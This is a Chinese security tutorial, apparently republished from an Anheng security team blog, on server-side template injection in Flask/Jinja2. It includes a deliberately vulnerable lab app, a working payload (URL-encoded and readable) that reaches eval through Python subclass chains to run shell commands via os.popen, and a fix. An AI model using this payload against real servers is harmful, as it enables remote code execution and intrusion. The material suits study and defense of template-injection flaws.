九维团队-绿队(改进)| SSTI注入分析

渗透技巧 1年前 (2022) admin
487 0 0

九维团队-绿队(改进)|  SSTI注入分析

一、定义

SSTI(Server Side Template Injection),即服务端模板注入,它主要利用的是模板引擎将攻击者构造的 payload 在服务端按代码语义解析执行,然后加载在模板文件中(可以是 HTML,也可以是模板可解析的特定后缀),最后渲染到 web 页面上。


二、一些知识点


什么是模板/模板引擎

目前主流的 web 开发主要分为以下两种技术:


1.前后端不分离:

即后端完成路由,用户在浏览器输入一个 url,访问的是后端路由(服务端响应),后端接收请求后,再将数据通过模板引擎解析再渲染成视图返回给前端。后端路由由后端渲染数据再返回视图给前端,前端只负责展示视图,所有的交互都在后台。


2.前后端分离:

前端使用 JavaScript 框架(如jquery,vue,react,angular),前端项目化;后端去掉所有的视图,只提供 api 接口,用户在浏览器访问的路由为前端路由(也称为 Hash 路由,由前端响应),只加载前端视图,数据只通过 ajax 获取,前端获取数据之后再渲染到视图。前端负责控制路由,展示视图,后端只负责提供 api,用户和视图交互,视图上的按钮以及页面数据和后端 api 交互。


模板可以理解为一段固定好格式,等着你来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。作为对比,一个很不好的解决方法是用脚本语言的字符串拼接 html,然后统一输出。


模板引擎是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,就是将模板文件和数据通过模板引擎生成一个 HTML 代码。


流程如下图所示:

九维团队-绿队(改进)|  SSTI注入分析


视图(view):

<!--login.tpl--><html><head><title>{{title}}</title></head><body><form method="{{method}}",action={{action}}><input type="text" name="user" value="{{username}}"></form><p>This page took {{microtime(true) - time}} seconds to render.</p></body></html>

*左右滑动查看更多


后端逻辑(Controller):

后端将数据绑定绑定好交给模板引擎解析,完成前端页面的渲染。

$templateEngine = new TemplateEngine();$tpl = $templateEngine->loadFile(login.tpl);$tpl->assign('title','Login');$tpl->assign('method','post');$tpl->assign('action','login.php');$tpl->assign('username',getUserNameFromCookie());$tpl->assign('time',microtime(true));$tmp->show();

*左右滑动查看更多


三、模板注入基本原理


通过模板,Web 应用可以把输入经过模板解析转换成特定字符显示在 HTML 文件,这里以一个简单的例子来说明,如下,将客户端传来的 name 经过模板解析,然后将渲染好的值返回给前端


靶场环境
这里选择 python3 + flask + jinja2 作为靶场环境。

from flask import Flask, requestfrom jinja2 import Template
app = Flask(__name__)
@app.route('/')def index():name = request.args.get('name''guest')
t = Template("Hello " + name)return t.render()
if __name__ == "__main__":app.run()

*左右滑动查看更多


正常请求如下,服务端解析字符之后,就和前面的Hello拼接起来,然后呈现给前端:

九维团队-绿队(改进)|  SSTI注入分析


那么如果利用模板语法呢(这里只针对 jinja2 做测试)?

{{7*7}}

九维团队-绿队(改进)|  SSTI注入分析


我们可以调试看一下,在调用 gensrate 之前,source 在经过上一层 parse 函数解析之后,已经将需要渲染的内容变成了:

Template(body=[Output(nodes=[TemplateData(data='Hello '), Mul(left=Const(value=7), right=Const(value=7))])])

*左右滑动查看更多


九维团队-绿队(改进)|  SSTI注入分析


继续单步向下,可以看到模板引擎已经将其解析成代码了。

九维团队-绿队(改进)|  SSTI注入分析


这个调试有点复杂,在生成代码之后,然后再代码执行(代码执行的函数为 from_code)。

九维团队-绿队(改进)|  SSTI注入分析


九维团队-绿队(改进)|  SSTI注入分析


那么只需要根据模板语法来构造 payload 就可以完成代码执行了,但是也并不是任意代码执行的,需要满足引擎渲染的表达式,来构造代码。


四、模板用法


{{ ... }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% ... %}:装载一个控制语句。
{# ... #}:装载一个注释,模板渲染的时候会忽视这中间的值

*左右滑动查看更多


变量
在模板中添加变量,可以使用(set)语句:

{% set name='xx' %}

创建一个内部的作用域
with 语句来创建一个内部的作用域,将 set 语句放在其中,这样创建的变量只在 with 代码块中才有效。

{% with gg = 42 %}{{ gg }}{% endwith %}

if 语句:

{% if 1==1 %}{{ 7*7 }}{%else%}{{ 8*8 }}{% endif %}

for 循环:

{% for c in ['1','2','3'] %}{{c}}{%endfor%}

五、利用方法


Flask 使用 Jinja2 这个渲染引擎,结合 python 代码来看,主要是通过 Python 对象的继承,用魔术方法一步步找到可利用的方法去执行。即找到父类<type ‘object’>–> 寻找子类–> 找关于命令执行或者文件操作的模块。


对象的魔术方法:

__class__ 返回示例所属的类__mro__ 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。__base__ 返回一个类所继承的基类# __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用列表__init__ 类的初始化方法__globals__ 对包含函数全局变量的字典的引用

*左右滑动查看更多


payload


%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D


九维团队-绿队(改进)|  SSTI注入分析


paylaod 分析
使用 for 表达式来获取 eval 函数(只针对 flask),使用 eval 函数加载恶意执行代码:

for c in [].__class__.__base__.__subclasses__():if c.__name__ == 'catch_warnings':for b in c.__init__.__globals__.values():if b.__class__ == {}.__class__:if 'eval' in b.keys():print(b['eval']('__import__("os").popen("id").read()'))

*左右滑动查看更多


以上代码改写为模板语法如下:满足模板语法,通过寻找 list 的基类中可用的引用列表,当其满足是字典的时候,存在 eval 方法,直接执行代码:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

*左右滑动查看更多


九维团队-绿队(改进)|  SSTI注入分析

六、修复建议


将index()函数修改为如下代码,即可有效防范注入漏洞。

@app.route("/")def index():           name = request.args.get('name''guest')           t = Template("Hello {{n}}")           return t.render(n=name)

*左右滑动查看更多


此外,使用WAF类产品也可防范此类攻击。


其他环境:

vulhubhttps://vulhub.org/#/environments/flask/ssti/
burp 官方靶场https://portswigger.net/web-security/all-labs

*左右滑动查看更多


参考文章及推荐阅读:

https://blog.csdn.net/qq_43431158/article/details/105322894https://blog.csdn.net/u011377996/article/details/86776181https://portswigger.net/web-security/server-side-template-injectionhttps://vulhub.org/#/environments/flask/ssti/https://blog.csdn.net/new_abc/article/details/48091721https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

*左右滑动查看更多




—  往期回顾  —


九维团队-绿队(改进)|  SSTI注入分析

九维团队-绿队(改进)|  SSTI注入分析

九维团队-绿队(改进)|  SSTI注入分析

九维团队-绿队(改进)|  SSTI注入分析

九维团队-绿队(改进)|  SSTI注入分析



关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-绿队(改进)|  SSTI注入分析

九维团队-绿队(改进)|  SSTI注入分析

九维团队-绿队(改进)|  SSTI注入分析

原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| SSTI注入分析

版权声明:admin 发表于 2022年11月28日 下午4:27。
转载请注明:九维团队-绿队(改进)| SSTI注入分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...